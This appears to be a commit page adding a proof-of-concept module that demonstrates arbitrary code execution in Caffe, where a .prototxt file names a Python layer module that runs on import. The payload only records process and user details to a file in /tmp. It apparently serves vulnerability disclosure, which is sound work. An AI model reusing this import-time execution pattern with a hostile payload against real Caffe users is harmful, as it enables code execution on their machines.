Add evil_layer.py
Browse files- evil_layer.py +44 -0
evil_layer.py
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: Caffe PythonLayer Arbitrary Code Execution
|
| 3 |
+
================================================
|
| 4 |
+
This module is imported by Caffe when a .prototxt specifies a Python layer
|
| 5 |
+
with module="evil_layer". The top-level code executes immediately upon import.
|
| 6 |
+
|
| 7 |
+
Vulnerability: layer_factory.cpp:295
|
| 8 |
+
bp::import(param.python_param().module().c_str())
|
| 9 |
+
|
| 10 |
+
This calls Python's import mechanism with an attacker-controlled module name
|
| 11 |
+
from the .prototxt file. No sanitization, no allowlist, no sandboxing.
|
| 12 |
+
"""
|
| 13 |
+
|
| 14 |
+
import os
|
| 15 |
+
import sys
|
| 16 |
+
|
| 17 |
+
# PoC: write proof of execution to /tmp
|
| 18 |
+
proof_file = "/tmp/caffe_rce_proof.txt"
|
| 19 |
+
with open(proof_file, "w") as f:
|
| 20 |
+
f.write(f"Caffe PythonLayer RCE triggered!\n")
|
| 21 |
+
f.write(f"PID: {os.getpid()}\n")
|
| 22 |
+
f.write(f"UID: {os.getuid()}\n")
|
| 23 |
+
f.write(f"CWD: {os.getcwd()}\n")
|
| 24 |
+
f.write(f"Python: {sys.executable}\n")
|
| 25 |
+
f.write(f"User: {os.environ.get('USER', 'unknown')}\n")
|
| 26 |
+
|
| 27 |
+
print(f"[PoC] Code executed! Proof written to {proof_file}")
|
| 28 |
+
|
| 29 |
+
# For the PoC we also need to provide a valid PythonLayer class,
|
| 30 |
+
# otherwise Caffe crashes after import (but code already executed).
|
| 31 |
+
# In a real attack, the attacker gets RCE from the import alone.
|
| 32 |
+
|
| 33 |
+
import caffe
|
| 34 |
+
|
| 35 |
+
class ExploitLayer(caffe.Layer):
|
| 36 |
+
"""Dummy layer to satisfy Caffe's PythonLayer requirements after import."""
|
| 37 |
+
def setup(self, bottom, top):
|
| 38 |
+
top[0].reshape(1)
|
| 39 |
+
def reshape(self, bottom, top):
|
| 40 |
+
top[0].reshape(1)
|
| 41 |
+
def forward(self, bottom, top):
|
| 42 |
+
top[0].data[...] = 0
|
| 43 |
+
def backward(self, top, propagate_down, bottom):
|
| 44 |
+
pass
|